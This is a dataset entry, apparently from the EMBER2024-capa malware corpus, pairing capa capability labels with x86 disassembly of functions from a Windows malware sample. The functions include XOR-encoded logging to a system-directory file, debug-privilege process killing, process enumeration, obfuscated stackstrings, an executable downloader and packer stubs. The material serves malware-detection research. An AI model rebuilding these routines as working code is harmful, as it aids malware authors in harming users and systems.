joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10005a7b
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
call fcn.10005883
test al, al
jne 0x10005a85
ret
push ebx
xor ebx, ebx
push 0x594
push ebx
push dword [0x10015c08]
call sub.MSVCRT.dll_memset
add esp, 0xc
mov byte [0x10015c04], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x10015c00], eax
mov eax, dword [0x10015c08]
push 0x80
push ebx
mov dword [eax + 8], ebx
mov eax, dword [0x10015c08]
mov dword [eax + 4], ebx
mov eax, dword [0x10015c08]
mov dword [eax], ebx
mov eax, dword [0x10015c08]
add eax, 0x511
push eax
call sub.MSVCRT.dll_memset
mov eax, dword [0x10015c08]
add esp, 0xc
add eax, 0xd
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov eax, dword [0x10015c08]
push str._syslog.dat
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov eax, dword [0x10015c08]
add eax, 0xd
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
mov eax, dword [0x10015c08]
je 0x10005b25
mov byte [eax + 0xc], 1
jmp 0x10005b28
mov byte [eax + 0xc], bl
mov eax, dword [0x10015c08]
cmp dword [eax + 4], ebx
jne 0x10005b4f
push ebx
push dword [0x10015c10]
push 0x1000567e
push 3
call dword [0x10012dc8]
mov ecx, dword [0x10015c08]
mov dword [ecx + 4], eax
mov al, 1
pop ebx
ret

Function at 0x10005cd4
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
nop
mov eax, dword [0x10015c08]
xor ebx, ebx
push ebx
push 0x80
push 4
push ebx
push 2
add eax, 0xd
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x10005d20
push 2
push ebx
push ebx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp edi, ebx
pop ecx
mov esi, eax
jle 0x10005d4e
mov ecx, dword [ebp + 8]
mov dword [ebp + 8], edi
sub ecx, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
dec dword [ebp + 8]
jne 0x10005d40
lea eax, [ebp - 4]
push ebx
push eax
push edi
push esi
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10005d73
Capabilities:
Encode data using xor
Get common file path
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
push ebx
lea eax, [ebp - 0x110]
xor ebx, ebx
push 0x104
mov dword [ebp - 0xc], ecx
push eax
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea eax, [ebp - 0x110]
push str._syslog.dat
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push ebx
push 0x80
push 3
push ebx
push 1
lea eax, [ebp - 0x110]
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 4], eax
je 0x10005e17
push esi
push edi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
lea eax, [ebp - 8]
push ebx
push eax
push edi
push esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
cmp edi, ebx
jbe 0x10005e02
xor byte [eax + esi], 0x62
inc eax
cmp eax, edi
jb 0x10005df9
mov ecx, dword [ebp - 0xc]
push edi
push esi
call fcn.10005baf
push esi
mov ebx, eax
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
pop edi
pop esi
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop ebx
leave
ret
Function at 0x10006e5a
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov eax, 0x10010a12
call fcn.1000fee0
push ecx
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
lea ecx, [esi + 0x88]
call fcn.10006525
xor edi, edi
mov dword [esi], 0x10012fa8
mov dword [ebp - 4], edi
nop
mov edx, dword [ebp + 8]
mov eax, edx
dec eax
je 0x10006ea7
sub eax, 3
je 0x10006ea7
sub eax, 4
je 0x10006ea7
push 8
pop ecx
sub eax, ecx
je 0x10006ea7
sub eax, 0x10
je 0x10006ea7
mov dword [esi + 0x70], ecx
jmp 0x10006eaa
mov dword [esi + 0x70], edx
mov ecx, esi
call fcn.100075e9
test al, al
jne 0x10006ecb
call dword [0x10012d70]
push eax
mov dword [esi + 0x10c], eax
call dword [0x10012d74]
mov dword [esi + 0x44], eax
mov dword [esi + 0x10], 0xcc0020
mov byte [esi + 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 0x10]
mov dword [esi + 0x14], eax
mov eax, 0x3e8
xor edx, edx
div ecx
mov ebx, dword [0x10012d7c]
push edi
mov dword [esi + 8], ecx
mov dword [esi + 0x18], eax
mov al, byte [ebp + 0xc]
mov byte [esi + 0xc], al
call ebx
push 1
mov dword [esi + 0x28], eax
call ebx
push 0x20
mov dword [esi + 0x2c], eax
pop eax
mov ebx, dword [0x10012d18]
cdq
idiv dword [esi + 0x70]
push dword [esi + 0x44]
mov dword [esi + 0x30], edi
mov byte [esi + 0x24], al
call ebx
push dword [esi + 0x44]
mov dword [esi + 0x4c], eax
call ebx
push edi
mov dword [esi + 0x80], eax
call ebx
push edi
mov dword [esi + 0x48], eax
call ebx
push 1
lea ebx, [esi + 0x5c]
push dword [esi + 0x28]
mov ecx, esi
mov dword [esi + 0x50], eax
mov dword [ebx], edi
push dword [esi + 0x70]
mov dword [esi + 0x60], edi
call fcn.10007386
push dword [esi + 0x2c]
mov ecx, esi
mov dword [esi + 0x64], eax
push dword [esi + 0x28]
push dword [esi + 0x70]
call fcn.10007386
push 1
mov ecx, esi
push dword [esi + 0x28]
mov dword [esi + 0x68], eax
push dword [esi + 0x70]
call fcn.10007386
push edi
push edi
push ebx
mov ebx, dword [0x10012d14]
push edi
mov dword [esi + 0x6c], eax
push dword [esi + 0x64]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x54], eax
push edi
lea eax, [esi + 0x60]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
mov dword [esi + 0x58], eax
push edi
lea eax, [esi + 0x78]
push edi
push eax
push edi
push dword [esi + 0x68]
push dword [esi + 0x44]
call ebx
push dword [esi + 0x58]
mov ebx, dword [0x10012d0c]
mov dword [esi + 0x84], eax
push dword [esi + 0x4c]
call ebx
push dword [esi + 0x54]
push dword [esi + 0x48]
call ebx
push dword [esi + 0x84]
push dword [esi + 0x80]
call ebx
push dword [esi + 0x2c]
lea eax, [esi + 0x34]
push dword [esi + 0x28]
push edi
push edi
push eax
call dword [0x10012d78]
mov eax, dword [esi + 0x68]
mov eax, dword [eax + 0x14]
shl eax, 1
push eax
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
mov dword [esi + 0x1c], eax
mov eax, dword [esi + 0x68]
xor edx, edx
pop ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0xc]
div dword [esi + 0x2c]
mov dword [esi + 0x20], edi
pop edi
mov dword [esi + 0x74], eax
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 0xc
Function at 0x100070e1
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
push 0x10011274
mov esi, ecx
push 0x10011288
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ebx, dword [ebp + 8]
mov dword [ebp - 8], eax
test ebx, ebx
je 0x10007226
cmp dword [esi + 0x1c], 0
je 0x10007226
mov ecx, esi
call fcn.100075e9
and dword [esi + 0x20], 0
lea edi, [esi + 4]
push 1
push edi
mov ecx, esi
call fcn.1000747d
lea eax, [ebp - 0x10]
push eax
call dword [0x10012dec]
lea eax, [ebp - 0x10]
push 8
push eax
mov ecx, esi
call fcn.1000747d
lea ecx, [esi + 0x88]
call fcn.1000722f
mov byte [ebp - 1], al
lea eax, [ebp - 1]
push 1
push eax
mov ecx, esi
call fcn.1000747d
cmp byte [edi], 2
jne 0x100071a4
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 8]
push dword [eax + 4]
push dword [esi + 0x44]
push dword [esi + 0x80]
call fcn.10007622
mov eax, dword [esi + 0x68]
mov ecx, esi
push dword [eax + 0x14]
mov eax, dword [esi + 0x20]
add eax, dword [esi + 0x1c]
push eax
push dword [esi + 0x60]
push dword [esi + 0x78]
call fcn.10006dcc
add eax, dword [esi + 0x20]
mov dword [ebx], eax
jmp 0x10007221
mov eax, dword [ebp - 0xc]
lea edi, [eax - 0x13]
test edi, edi
jge 0x100071b0
xor edi, edi
cmp eax, dword [0x10015c18]
je 0x100071c9
push edi
mov ecx, esi
call fcn.10007285
test al, al
je 0x100071c9
add edi, 0x13
jmp 0x100071cc
mov edi, dword [esi + 0x30]
cmp edi, dword [esi + 0x2c]
jge 0x100071e2
push edi
mov ecx, esi
call fcn.10007285
test al, al
je 0x100071c4
add edi, 0x13
jmp 0x100071c4
mov eax, dword [ebp - 0xc]
push 0x13
mov dword [0x10015c18], eax
mov eax, dword [esi + 0x30]
add eax, 3
pop ecx
cdq
idiv ecx
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [esi + 0x30], edx
mov dword [ebx], eax
lea ebx, [esi + 0x14]
call edi
sub eax, dword [ebx]
cmp eax, dword [esi + 0x18]
jae 0x1000721a
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10007207
call edi
push eax
push ebx
call dword [ebp - 8]
mov eax, dword [esi + 0x1c]
jmp 0x10007228
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x10007925
Capabilities:
Terminate process
Terminate thread

Disassembly:
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_TerminateThread]
mov esi, ecx
push 0
push dword [esi + 0x28]
mov dword [esi], 0x10012fac
call edi
push 0
push dword [esi + 0x20]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push dword [esi + 0x24]
call edi
push 0x7d0
push dword [esi + 0x2c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push dword [esi + 0x2c]
call edi
mov eax, dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
test eax, eax
je 0x10007973
push eax
call edi
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000797d
push eax
call edi
mov eax, dword [esi + 0x18]
test eax, eax
je 0x10007987
push eax
call edi
mov eax, dword [esi + 0x1c]
test eax, eax
je 0x10007991
push eax
call edi
push dword [esi + 0x10]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [esi + 0x14]
call edi
push dword [esi + 0x18]
call edi
push dword [esi + 0x1c]
call edi
push dword [esi + 0x20]
call edi
push dword [esi + 0x24]
call edi
push dword [esi + 0x2c]
call edi
push dword [esi + 0x28]
call edi
mov ecx, esi
call fcn.10005ecd
pop edi
pop esi
ret

Function at 0x10007bba
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
call fcn.10007a6f
pop ecx
xor edx, edx
test eax, eax
pop ecx
jle 0x10007bed
mov ecx, dword [ebp - 4]
add byte [ecx + edx], 0x7a
add ecx, edx
mov ecx, dword [ebp - 4]
xor byte [ecx + edx], 0x19
add ecx, edx
inc edx
cmp edx, eax
jl 0x10007bd6
mov eax, dword [ebp - 4]
leave
ret
Function at 0x10007e59
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push 4
and byte [ebp - 0x12], 0
pop eax
mov byte [ebp - 0x40], 0x48
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
mov byte [ebp - 0x3f], 0x41
push eax
lea eax, [ebp - 0x40]
push eax
push 0x80000002
mov byte [ebp - 0x3e], 0x52
mov byte [ebp - 0x3d], 0x44
mov byte [ebp - 0x3c], 0x57
mov byte [ebp - 0x3b], 0x41
mov byte [ebp - 0x3a], 0x52
mov byte [ebp - 0x39], 0x45
mov byte [ebp - 0x38], 0x5c
mov byte [ebp - 0x37], 0x44
mov byte [ebp - 0x36], 0x45
mov byte [ebp - 0x35], 0x53
mov byte [ebp - 0x34], 0x43
mov byte [ebp - 0x33], 0x52
mov byte [ebp - 0x32], 0x49
mov byte [ebp - 0x31], 0x50
mov byte [ebp - 0x30], 0x54
mov byte [ebp - 0x2f], 0x49
mov byte [ebp - 0x2e], 0x4f
mov byte [ebp - 0x2d], 0x4e
mov byte [ebp - 0x2c], 0x5c
mov byte [ebp - 0x2b], 0x53
mov byte [ebp - 0x2a], 0x79
mov byte [ebp - 0x29], 0x73
mov byte [ebp - 0x28], 0x74
mov byte [ebp - 0x27], 0x65
mov byte [ebp - 0x26], 0x6d
mov byte [ebp - 0x25], 0x5c
mov byte [ebp - 0x24], 0x63
mov byte [ebp - 0x23], 0x65
mov byte [ebp - 0x22], 0x6e
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x72
mov byte [ebp - 0x1f], 0x61
mov byte [ebp - 0x1e], 0x6c
mov byte [ebp - 0x1d], 0x50
mov byte [ebp - 0x1c], 0x72
mov byte [ebp - 0x1b], 0x6f
mov byte [ebp - 0x1a], 0x63
mov byte [ebp - 0x19], 0x65
mov byte [ebp - 0x18], 0x73
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x6f
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x5c
mov byte [ebp - 0x13], 0x30
call dword [0x10012c40]
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
push str.MHz
push dword [ebp - 4]
call dword [0x10012ca0]
push dword [ebp - 4]
call dword [0x10012cdc]
mov eax, dword [ebp - 0x10]
leave
ret

Function at 0x1000884f
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov ebx, str.SeDebugPrivilege
push 1
mov dword [ebp - 4], ecx
push ebx
call fcn.10008ab0
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
pop ecx
jbe 0x1000889d
push edi
mov eax, dword [ebp + 8]
push dword [esi + eax]
push 0
push 0x1f0fff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
add esi, 4
cmp esi, dword [ebp + 0xc]
jb 0x1000886f
pop edi
push 0
push ebx
call fcn.10008ab0
pop ecx
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
call fcn.10008701
mov ecx, dword [ebp - 4]
call fcn.1000872a
pop esi
pop ebx
leave
ret 8
Function at 0x100088c5
Capabilities:
Acquire debug privileges
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x240
push esi
push edi
push 0x49
xor esi, esi
pop ecx
xor eax, eax
and byte [ebp - 0x240], al
lea edi, [ebp - 0x138]
mov dword [ebp - 0x13c], esi
push 0x40
rep stosd dword es:[edi], eax
pop ecx
lea edi, [ebp - 0x23f]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 1
mov dword [ebp - 0x10], esi
pop edi
push edi
push str.SeDebugPrivilege
call fcn.10008ab0
pop ecx
pop ecx
push esi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
jne 0x10008923
xor eax, eax
jmp 0x10008aac
push ebx
push 0x400
push 0x40
mov dword [ebp - 0x13c], 0x128
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ebx, eax
lea eax, [ebp - 0x13c]
push eax
mov dword [ebp - 0xc], ebx
push dword [ebp - 8]
mov byte [ebx], 0x7d
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008a86
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
push dword [ebp - 0x134]
push 0
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
cmp dword [ebp - 0x134], 0
mov dword [ebp - 4], eax
je 0x10008a6f
cmp dword [ebp - 0x134], 4
je 0x10008a6f
cmp dword [ebp - 0x134], 8
je 0x10008a6f
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x10]
push 4
push ecx
push eax
call fcn.100106d6
lea eax, [ebp - 0x240]
push 0x104
push eax
push dword [ebp - 0x10]
push dword [ebp - 4]
call fcn.100106c4
lea eax, [ebp - 0x118]
push eax
call esi
mov ebx, eax
lea eax, [ebp - 0x240]
push eax
call esi
lea eax, [ebx + eax + 6]
mov ebx, dword [ebp - 0xc]
add eax, edi
push ebx
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_LocalSize]
cmp eax, dword [ebp - 4]
jae 0x10008a01
push 0x42
push dword [ebp - 4]
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov ebx, eax
mov dword [ebp - 0xc], ebx
lea eax, [ebp - 0x134]
push 4
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x118]
add edi, 4
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x118]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x240]
push eax
call esi
inc eax
push eax
lea eax, [ebp - 0x240]
push eax
lea eax, [edi + ebx]
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 0x240]
push eax
call esi
lea edi, [edi + eax + 1]
lea eax, [ebp - 0x13c]
push eax
push dword [ebp - 8]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10008960
push 0x42
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
push 0
push str.SeDebugPrivilege
mov esi, eax
call fcn.10008ab0
pop ecx
pop ecx
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop ebx
pop edi
pop esi
leave
ret
Function at 0x10008cbb
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
mov al, byte [ebp + 0x20]
mov byte [ebp - 8], al
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push dword [ebp + 0x1c]
mov dword [ebp - 4], eax
lea eax, [ebp - 0x10]
push dword [ebp + 0x18]
push eax
push 0x10008c57
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll__beginthreadex]
add esp, 0x18
mov esi, eax
push 0xffffffffffffffff
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
pop esi
leave
ret

Function at 0x10008d28
Capabilities:
Enumerate processes

Disassembly:
push ebx
push esi
push edi
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, 0x128
mov ebx, eax
push edi
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov esi, eax
push esi
push ebx
mov dword [esi], edi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x10008d82
push dword [esp + 0x10]
lea edi, [esi + 0x24]
push edi
call dword [sym.imp.MSVCRT.dll__strcmpi]
pop ecx
pop ecx
jmp 0x10008d79
push esi
push ebx
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x10008d82
push dword [esp + 0x10]
push edi
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x10008d63
mov eax, dword [esi + 8]
jmp 0x10008d84
xor eax, eax
pop edi
pop esi
pop ebx
ret

Function at 0x10008f31
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
push esi
mov esi, 0x9c
push esi
lea eax, [ebp - 0x9c]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], esi
mov esi, dword [sym.imp.KERNEL32.dll_GetVersionExA]
push eax
call esi
test eax, eax
jne 0x10008f82
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
push eax
call esi
test eax, eax
je 0x10008fa0
cmp dword [ebp - 0x98], 5
jne 0x10008f9b
cmp dword [ebp - 0x94], 0
jne 0x10008f9b
call fcn.10008dd4
jmp 0x10008fa0
call fcn.10008d88
pop esi
leave
ret
Function at 0x10009165
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x414
push ebx
push esi
push 1
xor esi, esi
pop ebx
mov dword [ebp - 4], esi
push esi
push esi
push esi
push esi
push str.Mozilla_4.0__compatible_
mov dword [ebp - 0x10], esi
mov dword [ebp - 8], ebx
call dword [0x10012e4c]
cmp eax, esi
mov dword [ebp - 0x14], eax
je 0x100091ad
push esi
push 0x80000000
push esi
push esi
push dword [ebp + 8]
push eax
call dword [0x10012e48]
cmp eax, esi
mov dword [ebp - 0xc], eax
jne 0x100091b4
xor al, al
jmp 0x10009269
push edi
push esi
push esi
push 2
push esi
push esi
push 0x40000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x10009250
push 0x100112b0
push 0x100112a4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp + 0xc], eax
mov edi, 0x400
push edi
lea eax, [ebp - 0x414]
push esi
push eax
call dword [ebp + 0xc]
add esp, 0xc
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x414]
push edi
push eax
push dword [ebp - 0xc]
call dword [0x10012e44]
cmp ebx, esi
je 0x10009223
cmp word [ebp - 0x414], 0x5a4d
jne 0x10009244
lea eax, [ebp - 0x10]
push esi
push eax
lea eax, [ebp - 0x414]
push dword [ebp - 4]
xor ebx, ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 4], esi
jbe 0x10009247
jmp 0x100091f0
mov dword [ebp - 8], esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0xc]
mov edi, dword [0x10012e40]
call edi
push dword [ebp - 0x14]
call edi
xor eax, eax
cmp dword [ebp - 8], esi
pop edi
setne al
pop esi
pop ebx
leave
ret
Function at 0x100099ff
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov eax, 0x10010ace
call fcn.1000fee0
sub esp, 0x18
push ebx
push esi
mov esi, ecx
call fcn.10009405
test al, al
je 0x10009a93
push 0x18
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov ecx, eax
mov dword [ebp - 0x14], ecx
xor ebx, ebx
cmp ecx, ebx
mov dword [ebp - 4], ebx
je 0x10009a38
call fcn.1000926d
mov ecx, eax
jmp 0x10009a3a
xor ecx, ecx
mov eax, dword [esi + 0x20]
or dword [ebp - 4], 0xffffffff
cmp eax, ebx
mov dword [esi + 0x14], ecx
je 0x10009a53
mov edx, dword [esi + 0x24]
cmp edx, ebx
je 0x10009a53
push edx
push eax
jmp 0x10009a87
push 0x120
push 0x160
call fcn.10009447
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10009a97
mov ecx, dword [esi + 0x14]
push 0x90
push 0xb0
call fcn.10009447
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10009a97
mov ecx, dword [esi + 0x14]
push ebx
push ebx
call fcn.10009447
cmp al, bl
mov byte [ebp - 0xd], al
jne 0x10009a97
xor al, al
jmp 0x10009b15
push edi
mov dword [ebp - 0x24], 0x3336324d
mov dword [ebp - 0x20], 0x32335649
mov dword [ebp - 0x1c], 0x3234504d
mov dword [ebp - 0x18], 0x64697663
mov dword [ebp - 0x14], ebx
lea edi, [ebp - 0x24]
push 0x78
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
cmp eax, ebx
pop ecx
je 0x10009ad1
mov dword [eax], 0x10012fd8
mov dword [eax + 0x48], ebx
jmp 0x10009ad3
xor eax, eax
push dword [edi]
mov ecx, dword [esi + 0x14]
mov dword [esi + 0x18], eax
push dword [ecx + 8]
mov ecx, eax
call fcn.10009b23
test al, al
jne 0x10009b07
mov ecx, dword [esi + 0x18]
cmp ecx, ebx
je 0x10009af6
mov eax, dword [ecx]
push 1
call dword [eax]
inc dword [ebp - 0x14]
add edi, 4
cmp dword [ebp - 0x14], 4
mov dword [esi + 0x18], ebx
jb 0x10009aba
jmp 0x10009b11
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x24]
mov dword [esi + 0x1c], eax
mov al, byte [ebp - 0xd]
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
popal
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
sub eax, 0x403d15
nop
mov ebx, dword [eax]
nop
nop
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
add eax, 0xc
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
jne 0x43001e
nop
nop
popal
nop
nop
nop
nop
jmp fcn.00401219